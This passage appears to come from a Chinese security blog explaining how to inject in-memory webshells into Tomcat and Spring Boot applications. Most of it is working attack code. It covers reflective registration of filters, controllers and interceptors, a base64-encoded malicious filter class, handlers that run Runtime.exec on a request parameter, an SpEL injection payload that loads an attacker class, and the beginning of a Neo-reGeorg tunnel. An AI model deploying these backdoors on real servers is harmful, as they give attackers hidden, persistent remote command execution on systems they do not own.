                        context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

                if (context == null){
                    try {
                        context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }
                if (context == null){
                    try {
                        context = ContextLoader.getCurrentWebApplicationContext();
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

                if (context == null){
                    try {
                        context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

直接套上就能用,然后就是规规矩矩的加路由

                RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
                Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
                field.setAccessible(true);
                java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(requestMappingHandlerMapping);
                EvilGodlliza vulInterceptor = new EvilGodlliza( 0);
                adaptedInterceptors.add(vulInterceptor);

                out.write("ojbk");
                out.close();

合起来大概就能用了

另外一个思路

其实再agent中,我们不只可以用这个方法,还有一个方法是通过jvm虚拟机api,直接修改native字节码,这个太晚了,明天再写,咕咕咕

Tags: java, 内存马

Tomcat6 注入内存马

前言

和大哥们学新的姿势,感觉自己已经变成idea的性状了,这里的大哥说话又好听,我超喜欢这里的.jpg
以下是参考(抄袭)文章列表
怎么说呢,这几周玩了下java,大概也有点感觉了,打内存马就和win32寻址一样。

首先先解决在哪里打,也就是获取上下文standardContext,在栈上寻址找到这个地址,哦不对,在java中应该叫做对象。

然后再基于这个对象派生,找到管理filter的这些列表,正常程序流程访问网页肯定是先检查一个filter列表,看看是否匹配,匹配就丢给filter处理,然后filter处理完再往下丢给servlet/controller这些处理。我们要做的就是找到那个filter列表的地址,然后想办法把我们的内存马加进去

怎么加呢?那肯定就是得先找到注册函数,把我们内存马注册成一个filter,依旧是从栈上派生出来,还是一个寻址问题。总体感觉jvav大差不差,还是能理解的。

当然,理解是一回事,真的要我写一套完整项目,那就是另一回事了.jpg

注意点

线程加载问题

加载Filter Class的时候,不能用系统ClassLoader,得用当前线程的Loader,不然会报找不到org.servlet.Filter

Method defineClass = 
ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);defineClass.setAccessible(true);
byte[] code = {};
Class filter = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),code,0,code.length);
Object testFilter = filter.newInstance();

得用Thread.currentThread().getContextClassLoader(),不能用ClassLoader.getSystemClassLoader(),MD就被这个坑了一天。

同样还是线程加载问题

如果类似注入点的地方获取不到线程,或者是由其他线程创建的,比如如果在tomcat的Servlet中用ClassLoader.getSystemClassLoader()加载class(没错我就是这么干的),可以考虑用反射

Class<?> FilterDefClass = 
Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();

的方式强行加载,虽然没啥用。。但是之前被卡在线程那里太久了导致我把这些加载不到的都换成了

完整代码

运行流程,东抄抄西抄抄,先从利用shiro反序列化注入冰蝎内存马把Tomcat678抄出来,然后再从tomcat6、7、8、9内存马把注入流程抄出来,然后缝合一下,就好了

先把Filter代码打包成class

package com;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import javax.servlet.*;

public class testFilter implements Filter{
    public testFilter() {
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
        if (servletRequest.getParameter("cmd") != null){
            servletResponse.getWriter().write("Inject OK!");
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
}

然后编译注入器代码

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Properties;

public class TomcatMemShellInject {
    String uri;
    String serverName;
    Object standardContext;

    public static byte[] base64Decode(String str) throws Exception {
        Class clazz;
        try {
            clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception var3) {
            clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }

    private final static String filterName = "TomcatMemShellInject";

    public byte[] getContent(String filePath) throws IOException {
        File file = new File(filePath);
        long fileSize = file.length();
        if (fileSize > Integer.MAX_VALUE) {
            System.out.println("file too big...");
            return null;
        }
        FileInputStream fi = new FileInputStream(file);
        byte[] buffer = new byte[(int) fileSize];
        int offset = 0;
        int numRead = 0;
        while (offset < buffer.length
                && (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
            offset += numRead;
        }
        // 确保所有数据均被读取
        if (offset != buffer.length) {
            throw new IOException("Could not completely read file "
                    + file.getName());
        }
        fi.close();
        return buffer;
    }

    public TomcatMemShellInject() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException, IOException {
        Tomcat678();
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            String result = "yv66vgAAADIATAoADAAoCQApACoIABsKACsALAgALQsALgAvCwAwADEIADIKADMANAsANQA2BwA3BwA4BwA5AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL3Rlc3RGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAOgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAkdGVzdEZpbHRlci5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAOAA8HADwMAD0APgcAPwwAQABBAQADY21kBwBCDABDAEQHAEUMAEYARwEACkluamVjdCBPSyEHAEgMAEkAQQcASgwAGwBLAQAOY29tL3Rlc3RGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWACEACwAMAAEADQAAAAQAAQAOAA8AAQAQAAAAMwABAAEAAAAFKrcAAbEAAAACABEAAAAKAAIAAAAJAAQACgASAAAADAABAAAABQATABQAAAABABUAFgACABAAAAA1AAAAAgAAAAGxAAAAAgARAAAABgABAAAADwASAAAAFgACAAAAAQATABQAAAAAAAEAFwAYAAEAGQAAAAQAAQAaAAEAGwAcAAIAEAAAAI0AAwAEAAAAKLIAAhIDtgAEKxIFuQAGAgDGAA8suQAHAQASCLYACbEtKyy5AAoDALEAAAADABEAAAAaAAYAAAATAAgAFAATABUAHgAWAB8AGAAnABkAEgAAACoABAAAACgAEwAUAAAAAAAoAB0AHgABAAAAKAAfACAAAgAAACgAIQAiAAMAIwAAAAMAAR8AGQAAAAYAAgAaACQAAQAlAA8AAQAQAAAAKwAAAAEAAAABsQAAAAIAEQAAAAYAAQAAABwAEgAAAAwAAQAAAAEAEwAUAAAAAQAmAAAAAgAn";
            byte[] code = base64Decode(result);
            ;
            Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);
            Object testFilter = filter.newInstance();
            Class<?> FilterDefClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
            Object filterDef = FilterDefClass.newInstance();
            FilterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, filterName);
            Method addFilterDef = standardContext.getClass().getMethod("addFilterDef", FilterDefClass);
            addFilterDef.invoke(standardContext, filterDef);
            filterDef.getClass().getMethod("setFilterClass", String.class).invoke(filterDef, testFilter.getClass().getName());
            Class<?> FilterMapClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterMap");
            Object filterMap = FilterMapClass.getConstructor(new Class[]{}).newInstance();
            String setFilterName = (String) FilterDefClass.getMethod("getFilterName").invoke(filterDef);
            FilterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, setFilterName);
            FilterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
            FilterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
            Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
            addFilterMap.invoke(standardContext, filterMap);
            Object tmpFilterDef = FilterDefClass.newInstance();
            FilterDefClass.getMethod("setFilterClass", String.class).invoke(tmpFilterDef, "org.apache.catalina.ssi.SSIFilter");
            FilterDefClass.getMethod("setFilterName", String.class).invoke(tmpFilterDef, filterName);
            Class<?> ContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Context");
            Class<?> applicationFilterConfigClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor<?> applicationFilterConfigConstructor = applicationFilterConfigClass.getDeclaredConstructor(ContextClass, FilterDefClass);
            applicationFilterConfigConstructor.setAccessible(true);
            Properties properties = new Properties();
            properties.put("org.apache.catalina.ssi.SSIFilter", "123");
            Field restrictedFiltersField = applicationFilterConfigClass.getDeclaredField("restrictedFilters");
            restrictedFiltersField.setAccessible(true);
            restrictedFiltersField.set(null, properties);
            Object filterConfig = applicationFilterConfigConstructor.newInstance(standardContext, tmpFilterDef);
            Field filterField = filterConfig.getClass().getDeclaredField("filter");
            filterField.setAccessible(true);
            filterField.set(filterConfig, testFilter);
            Field filterDefField = filterConfig.getClass().getDeclaredField("filterDef");
            filterDefField.setAccessible(true);
            filterDefField.set(filterConfig, filterDef);
            Class<?> StandardContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.StandardContext");
            Field filterConfigsField = StandardContextClass.getDeclaredField("filterConfigs");
            filterConfigsField.setAccessible(true);
            HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
            filterConfigs.put(filterName, filterConfig);
            filterConfigsField.set(standardContext, filterConfigs);
            System.out.println("Inject OK");
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
                // field不存在,错误不抛出,测试时可以抛出
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public void getStandardContext() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            // 过滤掉不相关的线程
            if (!thread.getName().contains("StandardEngine")) {
                continue;
            }

            Object target = this.getField(thread, "target");
            if (target == null) {
                continue;
            }
            HashMap children;

            try {
                children = (HashMap) getField(getField(target, "this$0"), "children");
                //org.apache.catalina.core.StandardHost standardHost = (org.apache.catalina.core.StandardHost) children.get(this.serverName);
                children = (HashMap) getField(children.get(this.serverName), "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()) {
                    String contextKey = (String) iterator.next();
                    if (!(this.uri.startsWith(contextKey))) {
                        continue;
                    }
                    // /spring_mvc/home/index startsWith /spring_mvc
                    //StandardContext standardContext =  children.get(contextKey);
                    System.out.println(children.get(contextKey).getClass().getName());
                    this.standardContext = children.get(contextKey);

                    System.out.println("here");
                    // 添加内存马
                    return;
                }
            } catch (Exception e) {
                continue;
            }
            if (children == null) {
                continue;
            }
        }
    }

    public void Tomcat678() {


        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                // 不是对应的请求时,serverPort = -1
                System.out.println(getField(req, "serverNameMB").getClass().getName());
                //org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(getField(req, "serverNameMB"), "strValue");
                if (this.serverName == null) {
                    this.serverName = getField(req, "serverNameMB").toString();
                }
//                if (this.serverName == null){
//                    this.serverName = serverNameMB.getString();
//                }

                //org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
                this.uri = (String) getField(getField(req, "decodedUriMB"), "strValue");
                if (this.uri == null) {
                    this.uri = getField(req, "decodedUriMB").toString();
                }
//                if (this.uri == null){
//                    this.uri = uriMB.getString();
//                }

                this.getStandardContext();
                return;
            }
        }
    }
}
Tags: java, 内存马, tomcat

SpringBoot 内存马 && SPEL注入内存马

前言

萌新第一次玩java,水一篇文章

SpringBoot 内存马类别

controller 控制器内存马

什么是控制器内存马?按照其他语言的理解,就是在原有的路由上增加一条路由
使用网络上的代码动态添加路由

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
assert context != null;
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController();
mappingHandlerMapping.registerMapping(info, injectToController, method);

注入controller内存马的时候遇到 Expected lookupPath in request attribute 报错问题

注入的时候遇到这个错误

java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".

这是由于springboot对路由匹配方式进行修改
这再springboot 2.6.0之后就会遇到,一般而言解决方案是再properties添加如下然后重启

spring.mvc.pathmatch.matching-strategy=ANT_PATH_MATCHER

或者降低版本,但是我实际注入的时候肯定不能直接就这么轻松修改,所以得替换成如下方式

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
        (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = Evil.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/test2")
        .options(config)
        .build();
Evil springControllerMemShell = new Evil("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

完整代码

package com.example.springtest;

import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;

public class Evil {
    public Evil() {

    }

    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
        System.out.println(request.getParameter("cmd"));
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    public static String inject() throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =
                (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = Evil.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/test2")
                .options(config)
                .build();
        Evil springControllerMemShell = new Evil();
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        return "ok";
    }
    
}

Interceptor 拦截器内存马

Controller虽然简单明了,但是面对有些路由收到保护的站点的时候,就有些局限性了。

最典型的是如果你没有登录,所有路由都被跳转到/login,这样子你如果没能登录就没办法执行到你的内存马了,所以这时候就要添加一个拦截器类型的内存马,代码如下

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
        (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = Evil.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/test2")
        .options(config)
        .build();
Evil springControllerMemShell = new Evil("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

完整代码

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
public class Evil extends HandlerInterceptorAdapter {
    public Evil() {

    }
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        System.out.println("VulInterceptor Running...");
        if(code != null){
            try {
                Runtime.getRuntime().exec(code);
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }
    public static String injectInterceptor(){
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(requestMappingHandlerMapping);
            Evil vulInterceptor = new Evil();
            adaptedInterceptors.add(vulInterceptor);
            return "inject ok...";
        }catch (Exception ex)
        {
            return "inject fail...";
        }
    }
}

实战环境中构造函数递归问题

在实战环境中,我们的调用并不会放到main中,而是丢到析构函数Evil()中,所以在我们析构函数调用注入器,装载注册器的时候,有一段代码

 Evil vulInterceptor = new Evil();
 adaptedInterceptors.add(vulInterceptor);

中,就又加载了Eval函数,然后又调用析构函数,然后又执行这段代码又装载注入器.....这就造成了递归,所以我们得需要对这块进行一些处理

如何处理呢?就是简单的加一个参数,判断是否由注册器加载,如果是注册器就掠过,不是则执行注册器
析构函数关键代码:

public Evil(int aaa)
{
  if(aaa != 111){
      do_inject();
  }
}

注册器关键代码

Evil vulInterceptor = new Evil(111);
 adaptedInterceptors.add(vulInterceptor);

这样就不会递归了,但是我们加载这个的时候,遇到另一个问题,普通的newInstance是没办法带参数的。所以我们就要修改成带参数调用newInstance,我们假设我们的恶意class由base64传递

完整代码

注入器部分

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("恶意class的base64");
Class Evil = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Evil",code,0,code.length);
Constructor constructor=Evil.getDeclaredConstructor(int.class);//这里要设置和析构函数的参数一样,我们Eval里只有一个int所以就设置成int
constructor.setAccessible(true);
constructor.newInstance(222);

恶意类部分

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
public class Evil extends HandlerInterceptorAdapter {
    public Evil(int aaa) throws NoSuchMethodException ,NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        if(aaa != 111){
            inject();
            injectInterceptor();
            System.out.println("Inject ok");
        }
    }

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        System.out.println(request.getRequestURI());
        if(request.getRequestURI().equals("/check")){
            java.io.PrintWriter printWriter = response.getWriter();
            printWriter.write("Interceptor inject ok!");
            printWriter.flush();
            printWriter.close();
        }

        if(code != null){
            try {
                Runtime.getRuntime().exec(code);
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }
    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
        Runtime.getRuntime().exec(request.getParameter("cmd"));
        response.getWriter().write("ok");
    }
    public static String inject() throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =
                (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = Evil.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/test2")
                .options(config)
                .build();
        Evil springControllerMemShell = new Evil(111);
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        return "ok";
    }
    
    public static String injectInterceptor(){
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(requestMappingHandlerMapping);
            Evil vulInterceptor = new Evil(111);
            adaptedInterceptors.add(vulInterceptor);
            return "inject ok...";
        }catch (Exception ex)
        {
            return "inject fail...";
        }
    }
}

SPEL注入内存马

SPEL表达式一定程度上能执行java代码,那么能执行代码就非常简单了,直接调用defineclass把我们的恶意class加载进去执行不就完事了。

这里不考虑过滤and拦截的情况,实战肯定会遇到各种奇奇怪怪的情况的

获取java版本

#{T(java.lang.System).getProperty("java.version")}

获取springboot版本

#{T(org.springframework.boot.SpringBootVersion).getPackage()}

注入内存马,直接照抄上面的base64注入即可

T(org.springframework.cglib.core.ReflectUtils)
.defineClass(
    'Evil',
    T(com.sun.org.apache.xml.internal.security.utils.Base64)
    .decode('base64'),T(org.springframework.util.ClassUtils).getDefaultClassLoader()
).getDeclaredConstructor(T(int)).newInstance(222)

注入Neo-reGeorg到内存马

Neo-reGeorg直接生成了java文件,非常的方便我们使用。先运行
python neoreg.py generate -k password 生成server模板,
然后把我们的的java模板提取出来,直接看jsp关键代码

Object[] args = new Object[]{ ... }
 Class clazz = new U(this.getClass().getClassLoader()).g(clazzBytes);
application.setAttribute("ok",clazz.newInstance());
application.getAttribute("ok").equals(args);

基本就是一个把byte的class文件反射加载到内存然后调用equals,但是我们注入的时候本来就是class了,所以不需要再进行一次byte转class操作,直接在同一个类下调用就行。完整代码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.NetworkInterface;
import java.net.URL;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.security.SecureRandom;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Collections;
import java.util.Enumeration;
import java.util.Iterator;
import java.util.List;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.KeyManager;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import javax.servlet.ServletContext;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

public class NeoreGeorg implements HostnameVerifier, X509TrustManager {
    private char[] en;
    private byte[] de;

    public void MemNeoregeorg() {
        HttpServletRequest request = ((ServletRequestAttributes)((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes)((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes())).getResponse();
